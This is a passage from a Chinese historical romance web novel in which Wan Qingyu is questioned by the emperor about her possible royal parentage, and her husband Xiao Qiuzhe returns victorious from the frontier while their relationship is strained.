晚青妤一时不知该如何作答,思忖了片刻才道:“回皇上,臣妾不知这些消息是从何处传出,至于其中真相,臣妾亦不甚了了。但臣妾自幼生于晚家,长于晚家,性情脾性,皆承自父母。晚家父母,于臣妾而言,乃是至亲。若真如外界所言,臣妾有幸为皇贵妃之女,那自是臣妾前世修来的福分。只是,若无确凿证据,臣妾也不敢妄自揣测,以免有污圣听。” 她说着,再次福身行礼,态度恭谨而不失尊严,言辞之间,既有对皇上的敬畏,又有对自己身世的坦然与坚持。 皇上自她的话语间隐约捕捉到一丝抗拒,似乎她对自己可能是皇室身份并不热衷,更无意认亲。 而今皇贵妃早逝,宫中佳丽众多,皇上对皇贵妃的容貌记忆已是模糊,尽管晚青妤身上流露出的某种气质令他感到似曾相识,却又夹杂着陌生之感。 他沉吟片刻道:“你所言极是,无凭无据,确不宜轻率定论。你在晚家多年,情谊深厚,不愿接受自是理所当然。但倘若某日真相大白,你寻得至亲,也当体恤他们多年寻女的苦楚与期盼。” 皇上此言,疏离而客气,全然未将晚青妤视作骨肉至亲,一口一个“他们”,一口一个“皇贵妃”,立场分明,显然对此事持谨慎态度。毕竟,身为九五之尊,子嗣之事关乎社稷,突现不明身份之人,怎能不令他心生戒备。 晚青妤闻言再次恭谨行礼,心中五味杂陈,不知该如何回应。她实则无意承认这份突如其来的皇室血脉,更无意探寻证据,去揭开那层可能带来无尽纷扰的认亲之门。 殿内一时静默。 片刻后,皇上突然话锋一转,问道:“朕听闻你与付家大公子付钰书,似有些瓜葛。更有甚者,言你曾被其掳出城外,此事可真?你且与朕细细说说,你二人究竟是何关系?如今付钰书下落何在?” 皇上对付家极为重视,一个影响着整个国家文学命脉的家族,其一举一动自在皇家监视之下,尤其是在这个节骨眼上,而付钰书挟持之事,皇上早已耳闻。 付家之事非同小可,晚青妤心中略一踌躇,面上却极力保持着镇定,回禀道:“回皇上,臣妾之父与付钰书之父,乃是多年挚交,且付家府邸与我外祖之家相邻而居,两家情谊深厚,往来频繁。想必皇上对于臣妾家族昔日所遭之变故,已有所闻。两年前,因一批书籍之事,臣妾之父与兄长不幸罹难于付家之手,直至近日,方真相方大白。臣妾恳请皇上,能为臣妾之父兄昭雪,还其公道。” “至于付钰书那日挟持臣妾之举,想来亦与此事脱不开干系。所幸天不绝人,臣妾终得脱困。至于他眼下身在何方,臣妾着实不知。” 晚青妤不愿在天子面前,提及自己与付钰书往昔的情愫,深知那些过往于当下无益,反添波澜。 她身为萧秋折之妻,自是不愿横生枝节,更不愿旁人对她的情事指指点点。 皇上是否全然信她所言,她无从揣测,可随后,皇上却问及她与萧秋折的婚姻之事:“朕曾闻,你与萧秋折结缘,实乃当年晚大人遭逢变故,亲王府为表帮扶之意,方有此联姻之举。” 皇上此言深有言外之意,晚青妤指尖轻轻摩挲着衣袖,生怕话题牵扯至那不可言说的家族 与朝堂纠葛之中。毕竟,联姻之事,虽为权贵间常见的手段,用以巩固权势,稳固地位,但在天子面前提及,无异于触碰了龙鳞,关乎社稷安稳,绝非儿戏。 她思忖着道:“回皇上,臣妾与萧秋折自成婚以来,情深意笃,相处甚谐。至于外界所传,以利益为媒的联姻之说,不过是无稽之谈,望皇上勿要轻信。臣妾以为,夫妻之情,如鱼饮水,冷暖自知,外人之言,难以窥其全貌。” 她话音落下,殿内安静了会。 皇上沉默着不知在思索什么,目光审视着她,道:“萧秋折乃我皇家血脉,朕对他亦是颇为看重。只是,朕心中有一事颇为忧虑,倘若你确是皇贵妃之女,那么你也流淌着皇家之血,与萧秋折便是骨肉血亲,同族兄妹。自古以来,未有同族血亲,结为连理之例,此乃有违伦理纲常,定遭世人唾嫌。昔日你二人结缘,皆因真相未明,朕亦不会因此怪罪。可是,此事关乎皇家声誉,一旦传扬出去,难免招致非议。” “至于你是否为皇贵妃之女的身份,尚待查证。而滴血验亲,虽为确认血脉之法,却非同儿戏。朕不愿因一时之念,便轻易行此验亲之举。而今,皇贵妃已逝,小皇子尚且年幼,其身躯珍贵,不可轻易损伤。所以,此事究竟是空穴来风,还是确有其事,朕定会查个清楚。” 言及此处,皇上定睛瞧了眼她的神色,又道:“你也明白,若你与萧秋折确有血缘之亲,自是不可结为秦晋之好,日后定要分道扬镳。所以,在真相大白之前,你需知晓如何行事,方能保全皇家颜面,不致事态失控。” 皇上的忧虑,亦是常理之中。她与萧秋折既已成婚,无论好坏,哪怕他们已行夫妻之实,亦无大碍,唯恐的是,他怀上萧秋折的孩子,那么事情可就麻烦大了。 “朕的意思你可懂?”皇上问她。 她自然懂,皇上是在警告她在真相未明前,她与萧秋折莫要再有亲密之举。 她颔首回道:“臣妾明白,皇上所言极是,此事确需查明,臣妾亦知日后该如何行事。” 其实晚青妤心中也明白,若皇上真想认女,纵有万般规矩,那份为人父的激动亦难以掩饰,即便是即刻割指滴血,也要尽快验亲。 然听皇上的意思,他似乎并不愿承认有此一女,或许因她与萧秋折夫妻之份,心中有所芥蒂,宁愿不认,也不愿惹来麻烦,更不愿皇家名誉受损。毕竟,一旦滴血验亲之事稍有泄露,整个京城必将沸沸扬扬,到那时,即便皇上不愿认亲,亦无济于事。 经此一番对话,皇上亦觉晚青妤是个明理之人,遂道:“朕信你自有分寸,你且回去,余下之事,交由朕来查,待查明真相,朕自会告知于你。” 晚青妤跪地行礼,而后退出了大殿。 她出了殿门,便见萧秋折焦急地迎了上来,他伸手想要牵她的手,她念及皇上刚警告于她,又是在皇宫里,便把手躲开了,没让他牵。 萧秋折的手在半空僵了一瞬,皱起了眉,而后未言一语,只带着她离开了皇宫。 到了宫外,二人上了回府的马车,萧秋折这才问道:“皇上今日与你谈了些什么?可是关乎你的身世之事?” 他在外等候,手心皆是冷汗。 晚青妤忧心忡忡,低声回道:“确是如此。只是皇上眼下尚不确定,需再查证,亦不愿贸然滴血认亲。” 她顿了顿,眸色微黯:“天子之躯,自然不能轻动血脉,这一点,我能明白。” 她抬眸望向萧秋折,又道:“另有一事,你方归京或许尚未知晓。陆临已查出杀害我父兄的真凶,正是付家之人。当年有批书籍出了问题,付家欲暗中售卖,却被我父亲拦下。他们便起了杀心,要灭口以绝后患。此事陆临已呈报皇上,朝中诸位大人亦为之震怒。如今付家已成众矢之的,皇上虽有意惩处,却仍在权衡。” 晚青妤说到此处,话音渐止。 萧秋折凝眸看她,沉声问道:“皇上,可曾提及我们的婚事?” 萧秋折担心的事晚青妤并未明确说。 晚青妤指尖微蜷,默了片刻道:“我的身份尚未查明,皇上的意思是,在查清我的身世之前,要我们夫妻行事慎重。只是有一事我不明,你从边关返京的消息,他定然知晓,却只字未提,不知是何意思。” 她说完,萧秋折却只听得那句“夫妻行事慎重”,霎时拢了眉头,心中甚是不悦。 皇上这话分明是要他们断了夫妻之实。 他在心中冷笑,伸手想牵晚青妤的手,她的一双手却在袖子里缩着,见他伸出手来也未迎他。 他蜷了蜷手指,收回手,没做声。 马车里安静下来,到了亲王府萧秋折这才开口问她:“饿不饿?要不要吃东西?” 晚青妤回道:“饿了,我们先去用饭。” 两个人默默无言到了厨房,安排厨子做了一些饭菜。 期间二人在院中的树旁坐下。五月的晚风很舒服,月色也很漂亮,月光投在树上,地上映出一片斑驳的影子。 两个人并排而坐的影子也被拉的很长很长。 他好像生气了,从回来的路上就生气了。 晚青妤心里也很难受,见他一直不做声,轻声问他:“你打算何时向皇上复命?此番皇上遣你至边关,其心昭然,而你安然归来,想必令他大为震惊。只是,他今日却未向我提及此事。而今你独自先归,大军在后,我总有些放心不下。” 萧秋折打胜仗这是不争的事实,可他提前返回,未与大军同行,确是让人心生忧虑,毕竟皇家把他遣到边关是为了让他送死。她生怕这中间再生变故,世事无常,谁也无法预料接下来会发生什么。 萧秋折手中轻捻着一片绿叶,垂着头,沉声道:“此事我已有周详计划,对于皇家的动向,我亦心中有数,你大可放心。料想明日,大军便能抵达京城,届时我会与他们会合,进宫复命。至于皇上那边,他之所以未曾向你过多询问,皆因这关乎朝局,他自不便多言。而他提及你我之情,也不过试探罢了。” “晚青妤,在皇上眼中,我本是该死之人,所以皇上对你说的每一句话,都别有用意。他让你我夫妻行事谨慎,你需仔细斟酌,是愿屈从于他的威胁,还是坚守本心。” 她好像又开始退缩了。 一个时辰之前,他刚刚将满腹衷肠尽诉于她,而 她终是敞开心扉,接纳了他,可转眼间,连手都不让他牵了。 他们的感情,好像并非他想象的那样牢固,皇上只需一语,就能在他们之间横亘起一条难以跨越的河流。只要他们稍有不慎,多迈进一步,便可能坠入深渊。 多么可笑。 这些年来,他一直在与外界的重重阻力抗争,无论是亲情的疏离、权势的压迫,还是尊严的挑战,他都未曾退缩。 而今,他所面对的,是爱情的考验。 那些企图将他们拆散、扼杀他们爱情的,让他倍感心力交瘁。 爱情的艰难,甚至超越了他以往所面对的一切困境。 他很烦躁。 但他也深知,她惊恐交加,担忧不已。站在她的立场,她的心境或许比他更为复杂,更为纠结。 他不怪她,但他很生气。 晚青妤琢磨着他最后这句话,未有言语。 安静下来,二人之间的气氛突然变得沉重起来,这份变化,显然是源于晚青妤对这份感情的动摇与退缩。 她顾虑太多。 不久后,饭已做好,二人到膳厅用饭。 这次,萧秋折没有如往常那般为她细心地卷起衣袖,也未曾在她净手后贴心的帮她擦手,只是自个儿默默净了手走到饭桌前坐下。 晚青妤在他身旁落座,看了看他的脸色,他好像还在生气。 萧秋折拿起筷子开始用饭,也没有像以往那样为她夹菜添汤,更未吐露半句言语。 晚青妤知道他心情不佳,可自己心里,也恐慌,也矛盾。 这顿饭,两个人都吃得很快,匆匆用完饭,离开膳厅,直接回了卧房。 到了卧房,晚青妤在桌前坐了一会,觉得有些疲乏,瞥了瞥屋中那两张床铺,又望向正坐在书桌前,心不在焉地翻阅着书卷的萧秋折。 她心中一阵踌躇,开口道:“今晚,不如,你睡大床,我睡小床吧。” 她知晓自己终究在权势与道德面前退缩了。 烛光下,他坐在那里,眉头紧皱着,书中的字他是一个也没有看进去。 他心中怒意难平,他不知自己究竟在气些什么,或许是对她感情的不坚定感到愤怒,又或许是因为她如此轻易地便被外界所威胁而感到失望。 他知道他不该生她的气,可他就是生气,气的胸口堵的生疼。 晚青妤见他不说话,垂下头来。 过了好一会,萧秋折瞧着她消瘦的身影,又满是心疼地道:“关于你身份之事,我一直在暗中调查。我已查到一些线索,显示你确实是从京城中被秘密带出的,但至于你是否为皇上之女,尚未得到确凿的证据。” “不过,你放心,此事我定会追查到底,给你一个明确的答复。皇上不愿与你滴血验亲,我自会设法让小皇子与你滴血验亲,既然此事在你心中难以释怀,那我便替你解决这个难题。” 她忧虑的不就是这个。 只要此事解决不了,他们二人的心便难以安定。 尽管他满心不愿,但是面对她为此事忧心忡忡,他又心疼的不行。 可他还是生气,非常生气。 晚青妤抬眼望着他,他的脸色不好看。 她缴着衣袖道:“萧秋折,我知道这对你极为不公,但我们再坚持一下,好不好?” 他应该是理解她心情的。 萧秋折并未立即回应,而是借着摇曳的烛光,望着她,过了好一会,才开口道:“晚青妤,我对你的感情,是男女之情,是深沉至极的爱恋。无论我们的关系如何变化,这份爱,永远不会改变。我理解你的顾虑。” 他问她:“那你呢?可是爱我?” 她从未在他面前真正袒露过自己的心意,除了在他凯旋归来,她情绪激动之下吐露的那句“喜欢”,除了在两人亲吻之时,那几句难以自抑的“喜欢”,她还从未向他表露半分那种发自肺腑、全心全意地爱着对方的直白表达。 现在,他想听她说一句她爱他的话。 第64章 第64章告白! 人是复杂的,每个人的感情在经过不同的事情之后都会有一定的改变,而这种改变有的是微妙不易察觉的,有的是非常明显一眼便能看出的。人在面临了复杂的事情之后,心绪就会有所变化,所说所言所行,都会受到外界的一些影响,道出的并不一定是真心。 要说十二岁之时,晚青妤或许能直言不讳,将心中爱意倾泻而出,且纯真无畏。而今,世事如棋,局局新,诸多纷扰如藤蔓般缠绕,情感纠葛,难以理清。 她一时之间,竟难以启齿,非是不愿,实则心中犹豫难决。在此复杂的情况下,在皇上刚与她谈过话,在被权势威胁之后,她所若吐露情意究竟几分深沉,能否匹配他心中那份厚重的爱意呢?又能否承受得住外界的风雨以及未来未知的重压呢? 她深知自己并非豁达之人,至少在情之一字上,远不及七年前那般果敢无畏。 她低垂着头,目光不敢与他相接,只在那微弱的灯光下,脸庞隐于暗影之中。 萧秋折虽看不清她的神情,但能深切感受到她的痛苦与挣扎。 她是脆弱的,外界给予的重压,令她连一句“爱”都难以说出口。 她担忧重重,怕这沉重的言语一旦出口,却换不来圆满的结局,更怕因此而让对方陷入更深的痛苦之中。 室内静谧了良久,萧秋折始终未能等来她一句深情的告白。 之前那些缠绵悱恻的亲吻、拥抱,以及情到浓时脱口而出的“喜欢”,莫非那只是她一时心热的冲动? 她终究未能说出那句“我爱你”,而他又如何能强求?逼出来的情话不是他想要的。 房间里又静默良久。 萧秋折最终合上手中的书卷,缓缓站起身,对她道:“你想睡哪里就睡哪里吧,你先睡,我且去外头透透气。” 他语气里满是失落,说罢就出去了。 晚青妤深知他心中必有不悦,对自己的失望亦是显而易见。她强忍住心中酸涩,走到小榻边,脱下鞋子,躺在床上翻身朝里。闭上眼,辗转反侧,难以入眠。 此刻,她才深刻体会到七年前自己写给他的那封信中所蕴含的真挚情感。那时给他写的信,纯粹而直接,没有丝毫的杂质,是内心最真实的流露。那时的她,勇敢无畏,爱得热烈而纯粹。 可如今,为何这简单的三个字,却难以开口了? 萧秋折出了房间,站在院中的树下,捏着一片叶子低头站着,心情始终好不起来。 这一夜,似乎格外漫长,自他们缠绵悱恻,至他低语衷肠,再至踏入皇宫,再到归来共进晚餐,直至此刻,一晚上做了很多事情,也让他的心情起起伏伏。 月光落照在他身上,风也似乎柔和了几分。但是他的心,却如同坠入冰窖。 他除了愤懑,似乎别无他法。 他深知,情感之事,强求不得,晚青妤对他的情意,他能感知到,只是那份情,在外界的重压之下,显得格外单薄与脆弱。 这与人的性情有关,怪不得晚青妤。但即便他能理解,可他仍难掩心中的怒意、失望与哀伤。 他又舍不得强迫她。 直至天边泛起一抹微光,他才进了房间更了衣,然后悄然离开亲王府,与军队接应,前去皇宫复命。 而晚青妤,直至后半夜,方在混沌中沉沉睡去。待她醒来,第一眼便望向另一张床,铺盖依然整洁,他好像一夜都未回来睡,她心中不禁一阵酸楚。 昨日,他们还那般亲密无间,她的心扉也已为他敞开,可为何,只是皇上几句话,又让她退缩了?她也有些厌恶自己的这种性格,多么希望一切能够水落石出,真相大白,哪怕她真是皇家之女,起码也不会让二人再继续纠缠煎熬。 晚青妤起身出了房间,询问候于门外的方于,萧秋折去了哪里。 方于回道道:“回少夫人,今日乃是军队回城之日,公子前去迎接凯旋之师,随后将回宫复命。公子此番征战大获全胜,且又一连拿下五座城池。此等英勇已经传遍整个京城,现在百姓们皆纷纷涌至城门,迎接公子。” 方于话语中满是激动,也想一睹凯旋之师的风采,他问道:“少夫人,您要不要去城门看看?此乃举国同庆之时,公子亦满心欢喜,若能得见您,肯定更加开心。” 一旁的玉儿亦是难掩兴奋,道:“是啊,小姐,您的夫君在边关立下赫赫战功,此乃诸多将领梦寐以求却难以企及的荣耀。您想想,自己的夫君如此英勇无双,这该是何等的骄傲与自豪。小姐,快些,我这就去为您重新梳妆打扮,然后我们一同前往城门迎 接,可好?” 晚青妤忆起昨夜,萧秋折生她的气一夜未眠,也不知现在消气了没有。他今日率军回京她也想看看他英勇威严的模样,颔首道:“好,我这就回房梳妆,我们即刻前往。” 萧秋折收复边关,凯旋而归,对亲王府更是件头等大事。一大早亲王府就格外热闹,太妃早早命人备好车马,带着一众家眷前往城门迎接萧秋折凯旋。晚青妤梳妆完毕,也乘上马车往城门外赶去。待她们到时,城门处早已人山人海,水泄不通。 玉儿见这般阵仗,欢喜得几乎要跳起来。她拉着晚青妤的手,一边往人群里挤一边对一旁的人道:“这是我们世子妃,特来迎接夫君凯旋,各位父老乡亲行个方便。” 玉儿语气里满是掩不住的骄傲。周围百姓闻言,纷纷向晚青妤投来艳羡的目光,交口称赞。 晚青妤在众人的簇拥下来到最前方。官兵们已在城门口至城内清出一条通路,将围观百姓拦在外侧。 晚青妤双手不自觉地绞着衣袖,一双明眸紧紧盯着城门方向,满心期盼着那个英姿勃发的身影出现。 此时四周欢呼声此起彼伏,更有锣鼓喧天。孩童们蹦跳着喊道:“大英雄回来啦!大英雄回来啦!” 忽而人群爆发出一阵更高亢的欢呼,只见一队人马自城外缓缓而来。为首之人身披铠甲,端坐高头大马之上,正是萧秋折。 他面容俊朗,精神焕发,一双眼睛含着熠熠光彩,直挺挺的身板更显英挺不凡。他身后铁骑列队,个个精神抖擞,气势如虹,让人看着心生澎湃。 军队自城门缓缓步入,其威严之势,引得百姓们一阵欢呼,纷纷伸出双手,渴望能与这位战功赫赫的英雄握握手。 萧秋折见百姓如此热情,摘下狐狸皮手套,逐一与乡亲们相握。 今日阳光明媚,几乎所有阳光都照在了他的身上。可是,谁又能知晓,这位光鲜亮丽的英雄背后,藏着多少不为人知的伤痛与苦难呢? 她望着他,眼眶早已泛红,她心疼他,心疼得不得了,同时也感到自豪。他终于在坎坷的人生道路上,找到了属于自己的尊严与地位,这是他多年努力与付出的结果,是他应得的。她敬佩他,他值得世间一切的美好。 随着军队的缓缓靠近,晚青妤的心也越发激动。她望着那高头大马上的他,目光从未离开过半分。 当那高大的马儿在她面前停下,他俯身看向她,灼灼日光下,轻轻唤了一声:“夫人。” 这一声“夫人”,让她蓄在眼中的泪水瞬间决堤。她感觉到攥着衣袖的手在微微发抖。 玉儿见自家小姐落泪,也不由红了眼眶,轻声催促道:“小姐,快应声呀,姑爷在叫您呢。” 晚青妤仰望着他,泪眼朦胧中怔了好一会儿,才轻唤道:“夫君。” 这一声虽轻,却饱含着诸多的情意。这是自他们成婚以来,她第一次这样唤他。 夫君,两年多来,他第一次听到。 他压了压起伏的情绪,俯身伸手,为她擦了擦眼泪,道:“听话,别哭。” 明明是安慰,反倒让她的泪水愈发止不住了。她一边点头应着“好”,一边笑着,一边不住地擦着不断涌出的眼泪。 军队不便在此久留,萧秋折坐直身,继续率领将士们向皇宫行进。 晚青妤仍立在原地,双手紧攥衣袖,望着那背影,心绪久久难平。 待军队远去,街上的百姓也渐渐散去。三三两两的人群仍聚在一处,议论着边关战事与这对璧人的婚事。 “边关那等凶险之地,多少年无人能平,他一个王府世子竟能一举拿下,当真了不得。”一个身着褐色短打的汉子感叹道。 旁边卖茶的老者接话道:“谁说不是呢?萧世子是什么人物,大家心里都清楚。这世上就没有他办不成的事。那些大桥大路,造福了多少百姓?再说他十四岁就高中状元,文能提笔安天下,武能上马定乾坤。这些年为国为民做的事,桩桩件件都摆在眼前。能有今日这番成就,全靠真本事。” 一个提着菜篮的妇人扯了扯二人衣袖,压低声音道:“瞧见没?那位就是他的夫人晚青妤。原本也是大户人家的小姐,只是家道中落了。听说成婚后,这位夫人在山上住了整整两年,今年才搬回府里。” “可不是嘛。”旁边一个年轻妇人插嘴道,“回府后又传出些风言风语,说是与付家那位探花郎纠缠不清。那探花郎从小就爱慕晚小姐,两年前大婚时还去王府闹过一场,这事儿当年闹得人尽皆知。” 提起付钰书,那卖茶的老者咂了咂嘴:“那探花郎生得俊俏,才学也好,只可惜,如今付家眼看着就要败落了。不过单论个人才学,又怎及得上萧世子分毫?” 另一人眯着眼望向晚青妤的方向,摇头晃脑道:“这女子模样倒是生得标致,可也不过是个寻常闺秀。偏生那两个出类拔萃的男子,都为她神魂颠倒,甚至不惜争抢。你们想想,萧世子这般英雄人物,便是配个邻国公主也绰绰有余。此番凯旋,不知圣上要赏他什么?” 旁边一个商贩打扮的男子促狭一笑:“莫不是又要赏他个美人?” “这可说不准。这般人物,多少人家挤破头想把女儿嫁过去。他若想要,莫说一个,就是十个八个也不在话下。” 最先开口的那人咂了咂嘴:“这事儿谁说得准?男人的心最是善变。别看这两年他只守着这一个,往后如何,谁又知道?再说那晚家早已败落,对他仕途毫无助益。若是在王府再不能生个一儿半女,迟早要被取而代之。” 这几人你一言我一语,说得煞有介事。跟在晚青妤身后的玉儿听得真切,气得跺脚:“这些人好生嘴碎,我家姑爷与小姐恩爱非常,岂会再娶?再说了,夫妻之间情意最是要紧,家世门第又算得了什么?” 玉儿这话原是不错,可世间之事瞬息万变,人心更是复杂难测。谁能说得准往后如何?就如她与萧秋折前一刻还情意绵绵,转头因皇上一道旨意,连句喜欢都不敢说出口了。 —— 萧秋折入宫觐见,整整一个上午都在向皇上禀报边关战事。满朝文武无不为之侧目,就连皇上也不得不心生几分钦佩。虽觉此人能力已对皇权构成威胁,但当着众臣的面,皇上仍强作镇定,对他大加褒奖,又赐下金银财帛以示恩宠。 然则明眼人都看得出,这些赏赐不过表面文章,并无实质。以萧秋折这般能率军收复边关、一举夺回五座城池的功绩,其战功与才干,实乃国之栋梁。当下便有数位重臣出列为他说项,尤以兵部几位德高望重的老将军最为恳切,直言要将兵部部分权柄交予萧秋折执掌。 此事非同小可。若萧秋折当真在兵部掌权,不仅意味着他将手握重兵,更因那些随他征战边关、收复五城的将士们,如今皆唯他马首是瞻。 自古以来,为防皇族亲信坐大,兵权素来分散制衡,鲜少交由同皇族子嗣全权掌管。若破例让萧秋折执掌兵部,实乃开国以来未有之变局,于社稷安危干系重大。 皇上听罢众臣奏请,面色虽平静如常,袖中双手却已紧握成拳。他目 光深沉地扫过殿中诸臣,最后落在萧秋折身上,只见他神色淡然,不卑不亢,倒叫人生出几分莫测之感。 皇上龙颜微沉,半晌未语。朝堂之上众臣屏息凝神,殿内落针可闻。加之近日萧亲王整顿付家思想有功,父子二人皆为朝廷立下汗马功劳。群臣纷纷进言,望圣上莫要寒了忠臣良将之心。 在众臣力谏之下,皇上终是将兵部部分权柄赐予萧秋折。此举一出,朝野震动。萧秋折自此权倾朝野,身份地位今非昔比。 无论是市井小民,还是朝中重臣,无不对他推崇备至。一时间,萧秋折之名响彻朝野,便是皇后、太后想要动他,也需三思而行。 萧秋折在宫中忙碌整日,直至暮色四合方才出宫。刚出宫门,便被张攸年唤住。 此时的张攸年已贵为吏部二品大员,在朝中亦是举足轻重。当日客栈之中,张攸年执意不撤兵,险些害得晚青妤丧命,此事萧秋折尚未与他清算,不想他竟主动寻来。 萧秋折驻足回首,冷眼相视,未发一言。 张攸年却在他面前深深一揖,道:“恭喜萧大人凯旋而归,功成名就。” 张攸年语气恭谨,却透着几分虚与委蛇。 萧秋折不欲多言,转身欲走。张攸年却又道:“不知萧大人可否赏脸,与下官小酌一杯?” 萧秋折猜不透他葫芦里卖的什么药,当下只淡淡道:“没空。” 张攸年见他如此冷淡,也不恼,依旧含笑道:“那改日再邀萧大人。对了,不知青妤近来可好?还望萧大人代我问一句,我先前所求之事,她可应允了?” 萧秋折听闻他直呼晚青妤闺名,又提及什么“所求之事”,眉头一蹙,冷声道:“不必问了,我代她回绝。无论何事,她都不会应你。” 这话说得霸道,张攸年却浑不在意,轻笑一声道:“既如此,下官告退。” 萧秋折望着他渐行渐远的身影,心中莫名烦躁。这张攸年城府极深,绝非易与之辈。 萧秋折出了皇宫,并未即刻回亲王府,而是转道去了外祖父家。此番大捷,多亏外祖父与舅舅暗中相助。到了陆府,他郑重向二位长辈道谢。外祖父与舅舅执意留他用膳,他也就顺势应下。 席间,舅舅唤来全府上下为他庆贺。众人言笑晏晏,对他敬重有加。这些年来,萧秋折所能感受到的亲情温暖,大抵都来自外祖家这一脉。 宴罢,陆临将他唤至内室,想听他细说斩杀边关霸主獒利之事。萧秋折今日饮了几杯,此刻头脑昏沉,随他进了房间,将当日与獒利搏命之事娓娓道来。 可说着说着,眼眶却渐渐红了。虽已手刃仇敌,虽已大获全胜,但当年所受的屈辱与痛苦,早已刻骨铭心。时至今日回想起来,仍觉浑身刺痛难忍。 陆临察觉他神色有异。虽今日看似欢喜,可那双眼睛里分明藏着心事。陆临为他斟了盏茶,好奇问道:“可是与晚青妤闹了别扭?前几日她被付钰书掳去一事,她也是受害之人,你莫要与她置气。她还险些丢了性命,此事并非她的过错,要怪只怪那付钰书丧心病狂。” 陆临向来明事理,辨是非。他深知萧秋折与晚青妤能走到今日殊为不易,也明白晚青妤在与付钰书那段情缘中承受了多少苦楚,才会逼得付钰书疯魔至此,竟以性命相胁。于晚青妤而言,这又何尝不是一场无妄之灾? 酒意上头,萧秋折只觉太阳穴突突作痛。他闭目揉了揉眉心,苦笑道:“我怎会与她置气?又怎舍得。” 陆临挪了椅子坐到他身旁,试探道:“那是为何?莫不是为了张攸年?若是因为他,你大可不必。虽说那张攸年放话说要做晚青妤的情人,连名分都不要,可晚青妤那般清醒的性子,断不会应他。既然不应,你何必放在心上?他如今虽今非昔比,可感情之事,岂是说有就有的?他们自幼相识,若青妤对他有意,早该……” 陆临话音未落,萧秋折骤然抬眼,周身寒意瞬时骤起:“你方才说什么?张攸年要做青妤的情人?还不要名分?” 他声音冷得像淬了冰:“他已向青妤表白了?” 陆临这才惊觉失言,支吾道:“是……是有这么回事。不过晚青妤当场就回绝了。” 他见萧秋折脸色愈发阴沉,忙不迭补充:“青妤亲口对我说,她心里只有你一人。连付钰书那样的她都看不上,又怎会看上张攸年。” “连付钰书都看不上……”萧秋折低低重复着,忽而冷笑出声。 那笑声听得陆临脊背发凉:“你别这样笑,怪瘆人的,虽说张攸年长得不错,身板又好,宁愿做小,晚青妤既已回绝,你就别发疯。” “长得不错,身板又好,宁愿做小,你真会安慰人。”萧秋折眼底寒意更甚。 陆临急得直搓手:“我这不是……哎!你倒是说说,究竟为何这般不快?” 萧秋折低垂着头,伸手揉着太阳穴,声音低沉:“我原本还没这般恼火,现下倒是更气了。” 陆临听得一头雾水:“那你先前究竟为何不高兴?如此说来,倒是你在与晚青妤置气了?你还有什么可气的?如今你凯旋而归,功成名就,便是皇上、皇后、太后都要让你三分。晚青妤又回到你身边,你是既成功又抱得美人归,往后的日子不知有多少人羡慕,你还有什么不满意的?” 陆临这番话倒是不假。以萧秋折如今的权势地位,皇家确实暂时不敢动他。可最让他糟心的,偏偏是那段剪不断理还乱的爱情。 他长叹一声,心口隐隐作痛,半晌才低声道:“我想听她说一句爱我的话,可她就是不肯说。” 这句话的分量,他比谁都清楚。只有真心相爱之人,才能说得出口。他已经将满腔爱意倾吐,可晚青妤却始终说不出。他自然知道她是爱他的,可他不愿见她又在感情里退缩,畏首畏尾。 陆临听完,一口茶险些喷出来:“我还当是什么天大的事,原来就为这个?姑娘家脸皮薄,羞于启齿也是常理。你何必非要逼着她说?她不说,难道就不爱你了?” 萧秋折无奈摇头:“你不懂。” 陆临嘿嘿一笑:“我不懂?我还能比你不懂?你想听她说句情话,多哄哄便是。何必摆着张冷脸?你这副模样,任谁见了都高兴不起来,还怎么让人开口?” 萧秋折不自觉地摸了摸自己的脸:“我何曾摆冷脸了?不过是表露心迹后,想听她一句回应,这要求很过分么?” 陆临挑了挑眉:“这要求自然不过分,可你也得看情形。说来也怪,她当初那些书信里,字字句句看得人面红耳热,如今怎就突然不敢说了?” 萧秋折垂首不语,陆临瞧他神色不对,凑近了些:“莫不是你们之间还有什么我不知道的事?若是真心喜欢,断不会说不出口。还是说你做了什么对不住她的事?” “你怎的总是把错处往我身上推?”萧秋折揉着眉心,声音里透着疲惫,“我待她极好,从未做过半分对不住她的事。只是……”话到嘴边又咽了回去,他烦躁地抓了抓头发,“罢了,不说也罢,我走了。” 说着就要起身,陆临哪肯放人,一把拽住他的衣袖:“你给我把话说清楚!你们之间定还有我不知道的事。如今都这般光景了,你还有什么不能说的?我连张攸年要做情人的事都告诉你了,你倒还瞒着我?” 萧秋折白了他一眼,心中愈发烦闷。他宁愿陆临不曾提起张攸年那档子事。今日在宫门外,张攸年拦住他,竟让他问问晚青妤考虑得如何,想来就是考虑让他做情人之事。 这晚青妤当真是……招惹的都是些什么人?一个两个的,都不正常。 陆临见他仍不肯说,不依不饶地追问。萧秋折不愿吐露实情,只道:“今日我在你这里歇下,不回去了。” “哎!你又不回去?把晚青妤一个人丢在府里算怎么回事?” “我需要冷静。” 此刻回去,他怕控制不住想要亲近她,若再惹得她满心抗拒,两人又要生出嫌隙。不如各自冷静一番也好。 陆临再三赶他,他却执意不走,问及缘由又缄口不言,最后还赖在榻上不动。 夜色渐深,晚青妤在亲王府等得心焦。她命人备好晚膳,却迟迟不见萧秋折归来。派方于去打听,才知他出宫后去了外祖家用膳,此刻正与陆临叙话。 晚青妤闻言,忙去厨房吩咐厨子熬了醒酒汤,在灯下守候。可等到更深夜阑,仍不见人影。 玉儿劝道:“小姐先歇息吧,姑爷今日凯旋,许是与陆公子多饮了几杯,聊得尽兴。” 晚青妤心中惴惴,是先去梳洗。洗漱完毕,她又在院门前驻足良久,还是不见 人回来,最终独自回房就寝。躺在锦被中辗转反侧,一夜难眠。 翌日清晨,她早早醒来,枕畔依旧空无一人。用过早膳,又在府中等了半晌,仍不见萧秋折归来。恰在此时,有人来报外祖母病情加重,她便随母亲匆匆赶往乔府探望。 到了乔家大院,张攸年竟也在府中。见晚青妤母女进来,他立即起身,先向晚母行了一礼,而后目光落在晚青妤身上。 不过两三日不见,她竟消瘦了许多,神色憔悴,一双杏眼又红又肿,显是哭过。 张攸年看在眼里,心中隐隐作痛,不由想起那日客栈中她被付钰书挟持的情景,至今想来仍心有余悸。 他多想上前关切几句,却又无能为力。如今萧秋折凯旋归来,权势如日中天,日后想要接近晚青妤,怕是更难了。 外祖母病情愈发沉重,卧在榻上神志不清,连话都说不利索,连自己的女儿和外孙女都认不得了。 晚青妤见状心如刀绞,这些日子她已请遍京城名医,连张攸年也帮忙请了太医,却都束手无策。老人家年事已高,一旦病倒,便如风中残烛,难以回春。 晚青妤与母亲照料外祖母一会,便出了房门。张攸年也跟了出来,两人在院中静立。 